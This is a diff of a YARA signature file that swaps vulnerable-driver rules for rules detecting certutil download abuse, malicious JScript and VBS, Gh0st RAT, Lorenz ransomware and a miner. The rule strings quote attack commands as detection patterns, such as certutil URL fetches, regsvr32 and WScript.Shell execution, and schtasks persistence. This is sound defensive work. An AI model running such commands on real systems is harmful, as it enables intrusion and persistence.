-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200054006f002000410063006300650073007300200050006800790073006900630061006c0020004d0065006d006f0072007900200041006e006400200050006f007200740073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 }
+		$a1 = "certutil -decode " ascii wide
+		$a2 = "certutil  -decode " ascii wide
+		$a3 = "certutil.exe -decode " ascii wide
+		$a4 = "certutil.exe  -decode " ascii wide
+		$a5 = "certutil -urlcache -split -f http" ascii wide
+		$a6 = "certutil.exe -urlcache -split -f http" ascii wide
+		$fp_msi = { 52 00 6F 00 6F 00 74 00 20 00 45 00 6E 00 74 00 72 00 79 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <700KB and 1 of ($a*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_DCB8 : FILE
+rule SIGNATURE_BASE_Suspicious_JS_Script_Content : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "72ff75ea-c085-51bc-806e-1a43127d1c64"
-		date = "2023-06-14"
+		description = "Detects suspicious statements in JavaScript files"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6a547aa5-c58c-5559-9d3f-3f0d541eafd4"
+		date = "2017-12-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3593-L3613"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dcb815eb8e9016608d0d917101b6af8c84b96fb709dc0344bceed02cbc4ed258"
-		logic_hash = "80b8d0833d2e3675c5a1105725ef61e6914774019d4499c752a25b628a985274"
-		score = 40
+		reference = "Research on Leviathan https://goo.gl/MZ7dRg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_scripts.yar#L95-L112"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1dbc1a266d710a70a77c81d5b872d0d324423250a9f34455faef53ac4c41b5f2"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fc0fad39b461eb1cfc6be57932993fcea94fca650564271d1b74dd850c81602f"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
+		$x1 = "new ActiveXObject('WScript.Shell')).Run('cmd /c " ascii
+		$x2 = ".Run('regsvr32 /s /u /i:" ascii
+		$x3 = "new ActiveXObject('WScript.Shell')).Run('regsvr32 /s" fullword ascii
+		$x4 = "args='/s /u /i:" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		( filesize <10KB and 1 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_CFCF : FILE
+rule SIGNATURE_BASE_Universal_Exploit_Strings : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
-		author = "Florian Roth"
-		id = "a4c49dca-e35c-5326-9b30-729ecf65653c"
-		date = "2023-06-14"
+		description = "Detects a group of strings often used in exploit codes"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4b3a9eec-5f7c-579c-9719-fe23cc291aee"
+		date = "2017-12-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3616-L3636"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cfcf32f5662791f1f22a77acb6dddfbc970fe6e99506969b3ea67c03f67687ab"
-		logic_hash = "2dd35edfdf8b82b650278186df087c5ae103f3b807faf30c72278521ff56224b"
-		score = 40
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_scripts.yar#L114-L131"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6436a1cf6d0acc3162ec99c95ef20b3e6dd110c77d5a0b26ac790551316c0a69"
+		score = 50
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9b07dacf8a45218ede6d64327c38478640ff17d0f1e525bd392c002e49fe3629"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 }
+		$s1 = "Exploit" fullword ascii
+		$s2 = "Payload" fullword ascii
+		$s3 = "CVE-201" ascii
+		$s4 = "bindshell"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( filesize <2KB and 3 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Dtresearchinc_Iomemsys_Iomemsys_DD4A : FILE
+rule SIGNATURE_BASE_VBS_Obfuscated_Mal_Feb18_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
-		author = "Florian Roth"
-		id = "65abda74-40d3-57c2-ade1-463b3e1ad1ef"
-		date = "2023-06-14"
+		description = "Detects malicious obfuscated VBS observed in February 2018"
+		author = "Florian Roth (Nextron Systems)"
+		id = "39ea10e5-9dea-5cc8-8388-15378fcbab60"
+		date = "2018-02-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3639-L3659"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dd4a1253d47de14ef83f1bc8b40816a86ccf90d1e624c5adf9203ae9d51d4097"
-		logic_hash = "f04d75e5ff735d30d5bb3959722a5162b1ab7ce4db8d05a2007f98fc901b2179"
-		score = 40
+		reference = "https://goo.gl/zPsn83"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_scripts.yar#L133-L155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bbd388a3103744df2434956c2b7ac12dacd72f9041b4cc014d31eec4115aedd"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "06960cb721609fe5a857fe9ca3696a84baba88d06c20920370ddba1b0952a8ab"
+		hash2 = "c5c0e28093e133d03c3806da0061a35776eed47d351e817709d2235b95d3a036"
+		hash3 = "e1765a2b10e2ff10235762b9c65e9f5a4b3b47d292933f1a710e241fe0417a74"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$x1 = "A( Array( (1* 2^1 )+" ascii
+		$x2 = ".addcode(A( Array(" ascii
+		$x3 = "false:AA.send:Execute(AA.responsetext):end" ascii
+		$x4 = "& A( Array(  (1* 2^1 )+" ascii
+		$s1 = ".SYSTEMTYPE:NEXT:IF (UCASE(" ascii
+		$s2 = "A = STR:next:end function" ascii
+		$s3 = "&WSCRIPT.SCRIPTFULLNAME&CHR" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <600KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Pchuntersys_Pchunter_1B7F : FILE
+rule SIGNATURE_BASE_Ghostdragon_Gh0Strat : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PCHunter.sys"
-		author = "Florian Roth"
-		id = "229e07ae-2358-5b7e-843d-a0038c57dcd0"
-		date = "2023-06-14"
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a74330ab-5249-5125-8f48-27aec7c6eeb4"
+		date = "2016-04-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3662-L3682"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1b7fb154a7b7903a3c81f12f4b094f24a3c60a6a8cffca894c67c264ab7545fa"
-		logic_hash = "54232c91f0f6d119ece865269eec9d5ea885c8dd0119a0eecd889a405af828a0"
-		score = 40
-		quality = 85
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ghostdragon_gh0st_rat.yar#L8-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b67c7ff76c14e771c4e952a408c2c006c9ae88fda97b775747a95322aff355e7"
+		score = 75
+		quality = 83
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197"
+		hash2 = "99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2"
+		hash3 = "6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df"
+		hash4 = "b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00450070006f006f006c0073006f00660074002000570069006e0064006f0077007300200049006e0066006f0072006d006100740069006f006e0020005600690065007700200054006f006f006c0073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]4e00666e660e4e3aff0853174eacff094fe1606f6280672f67099650516c53f8 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050004300480075006e007400650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200032003000310033002d0032003000310036002000450070006f006f006c0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$x1 = "REG ADD HKEY_LOCAL_MACHINE\\%s /v ServiceDll /t REG_EXPAND_SZ /d \"%s\"" fullword ascii
+		$x2 = "Global\\REALCHEL_GLOBAL_SUBMIT_20031020_" ascii
+		$x3 = "\\xclolg2.tmp" ascii
+		$x4 = "Http/1.1 403 Forbidden" fullword ascii
+		$x5 = "%sxsd%d.pif" fullword ascii
+		$x6 = "%s\\%s32.dl_" ascii
+		$x7 = "%-23s %-16s  0x%x(%02d)" fullword ascii
+		$x8 = "RegSetValueEx(start)" fullword ascii
+		$x9 = "%s\\%s64.dl_" ascii
+		$s1 = "viewsc.dll" fullword ascii
+		$s2 = "Proxy-Connection:   Keep-Alive" fullword ascii
+		$s3 = "\\sfc_os.dll" ascii
+		$s4 = "Mozilla/4.0 (compatible)" fullword ascii
+		$s5 = "Http/1.1 403 Forbidden" fullword ascii
+		$s6 = "CONNECT   %s:%d   HTTP/1.1" fullword ascii
+		$s7 = "WindowsUpperVersion" fullword ascii
+		$s8 = "[%d-%d-%d %d:%d:%d] (%s)" fullword ascii
+		$s9 = "SOFTWARE\\Microsoft\\DataAccess\\%s" fullword ascii
+		$s10 = "%s sp%d(%d)" fullword ascii
+		$s11 = "OpenSC ERROR " fullword ascii
+		$s12 = "get rgspath error " fullword ascii
+		$s13 = "Global\\GLOBAL_SUBMIT_0234_" ascii
+		$s14 = "Global\\_vc_ck_ %d" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and all of them
+		( uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) or 4 of ($s*))) or (6 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_6500 : FILE
+rule SIGNATURE_BASE_Ghostdragon_Gh0Strat_Sample2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "87ed66d7-4903-5334-9bdb-90ba882c3e98"
-		date = "2023-06-14"
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "424cb978-c4d1-5847-8852-e25ec2a02139"
+		date = "2016-04-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3685-L3705"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "65008817eb97635826a8708a6411d7b50f762bab81304e457119d669382944c3"
-		logic_hash = "a3a2b21c9a58fee77857f3074fe6b69506eecb2627d93f1ea3a51c4cccdd2bab"
-		score = 40
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ghostdragon_gh0st_rat.yar#L54-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f41776a033be766844c9867902d2ef9b79bf59bdf212f0158eccf79db0810460"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "71a52058f6b5cef66302c19169f67cf304507b4454cca83e2c36151da8da1d97"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
+		$x1 = "AdobeWpk" fullword ascii
+		$x2 = "seekin.dll" fullword ascii
+		$c1 = "Windows NT 6.1; Trident/6.0)" fullword ascii
+		$c2 = "Mozilla/5.0 (compatible; MSIE 10.0; " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		( uint16(0)==0x5a4d and filesize <80KB and ( all of ($x*) or all of ($c*))) or ( all of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Novellinc_Novellxtier_8E88 : FILE
+rule SIGNATURE_BASE_Ghostdragon_Gh0Strat_Sample3
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
-		author = "Florian Roth"
-		id = "29276926-535b-55f9-a882-845fc9561513"
-		date = "2023-06-14"
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6d4bb99d-28de-59c2-b6f0-6da3cac4ed73"
+		date = "2016-04-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3708-L3727"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8e88cb80328c3dbaa2752591692e74a2fae7e146d7d8aabc9b9ac9a6fe561e6c"
-		logic_hash = "3803b2f85576fc0bad1a8e3dbfc3c5bee7ba7146560be9d60d685b40adf91838"
-		score = 40
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ghostdragon_gh0st_rat.yar#L77-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "39ddb94ac14032f88e54e413ed650277e95f6dcf66219fcf43a01aff1f10a058"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310031002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$op1 = { 44 24 15 65 88 54 24 16 c6 44 24 }
+		$op2 = { 44 24 1b 43 c6 44 24 1c 75 88 54 24 1e }
+		$op3 = { 1e 79 c6 44 24 1f 43 c6 44 24 20 75 88 54 24 22 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_E428 : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Lorenz_May21_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "3a87403b-9df1-566b-af2d-e22732584b63"
-		date = "2023-06-14"
+		description = "Detects Lorenz Ransomware samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0b18a4a3-82da-574b-8d10-daf2176448b9"
+		date = "2021-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3730-L3747"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e428ddf9afc9b2d11e2271f0a67a2d6638b860c2c12d4b8cc63d33f3349ee93f"
-		logic_hash = "8bd47884d13cfc03ececb849688a1c843c4de684a6d32923493f9d0af3d33b7b"
-		score = 40
+		reference = "Internal Research - DACH TE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ransom_lorenz.yar#L1-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aec940deb2c3bc099a50a2e8f014ae425d306d331078d9ac2abc2ec7b8bf572e"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "4b1170f7774acfdc5517fbe1c911f2bd9f1af498f3c3d25078f05c95701cc999"
+		hash2 = "8258c53a44012f6911281a6331c3ecbd834b6698b7d2dbf4b1828540793340d1"
+		hash3 = "c0c99b141b014c8e2a5c586586ae9dc01fd634ea977e2714fbef62d7626eb3fb"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003900380034 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "process call create \"cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON " ascii fullword
+		$x2 = "-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCn7fL/1qsWkJkUtXKZIJNqYfnVByVhK" ascii fullword
+		$s1 = "process call create \"cmd.exe /c schtasks /Create /F " ascii fullword
+		$s2 = "twr.ini" ascii fullword
+		$s3 = "/c wmic /node:'" ascii fullword
+		$op1 = { 0f 4f d9 81 ff dc 0f 00 00 5f 8d 4b 0? 0f 4e cb 83 fe 3c 5e 5b }
+		$op2 = { 6a 02 e8 ?? ?? 0? 00 83 c4 18 83 f8 01 75 01 cc 6a 00 68 ?? ?? 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <4000KB and (1 of ($x*) or all of ($op*) or 3 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_0909 : FILE
+rule SIGNATURE_BASE_NK_Miner_Malware_Jan18_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "e1be6d99-bee6-5208-976b-04a2fde0602b"
-		date = "2023-06-14"
+		description = "Detects Noth Korean Monero Miner mentioned in AlienVault report"
+		author = "Florian Roth (Nextron Systems) (original rule by Chris Doman)"
+		id = "40f53c36-9e14-5307-9740-e6f514afc7ec"
+		date = "2018-01-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3750-L3770"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0909005d625866ef8ccd8ae8af5745a469f4f70561b644d6e38b80bccb53eb06"
-		logic_hash = "f224ce42de29a91805c38c230c5b311878339c20d18bcd482b5738f246b12cbc"
-		score = 40
+		reference = "https://goo.gl/PChE1z"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_nkminer.yar#L11-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb75fe7d70b547a4774b74c01e11479949dfccb8645af330f87b51daaf0d8dbf"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "0024e32c0199ded445c0b968601f21cc92fc0c534d2642f2dd64c1c978ff01f3"
+		hash2 = "42300b6a09f183ae167d7a11d9c6df21d022a5f02df346350d3d875d557d3b76"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100300036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x0 = "c:\\users\\jawhar\\documents\\" ascii
+		$x1 = "C:\\Users\\Jawhar\\documents\\" ascii
+		$x2 = "The number of processors on this computer is {0}." fullword wide
+		$x3 = { 00 00 1F 43 00 3A 00 5C 00 4E 00 65 00 77 00 44
+              00 69 00 72 00 65 00 63 00 74 00 6F 00 72 00 79
+              00 00 }
+		$x4 = "Le fichier Hello txt n'existe pas" fullword wide
+		$x5 = "C:\\NewDirectory2\\info2" fullword wide
+		$a = "82e999fb-a6e0-4094-aa1f-1a306069d1a5" ascii
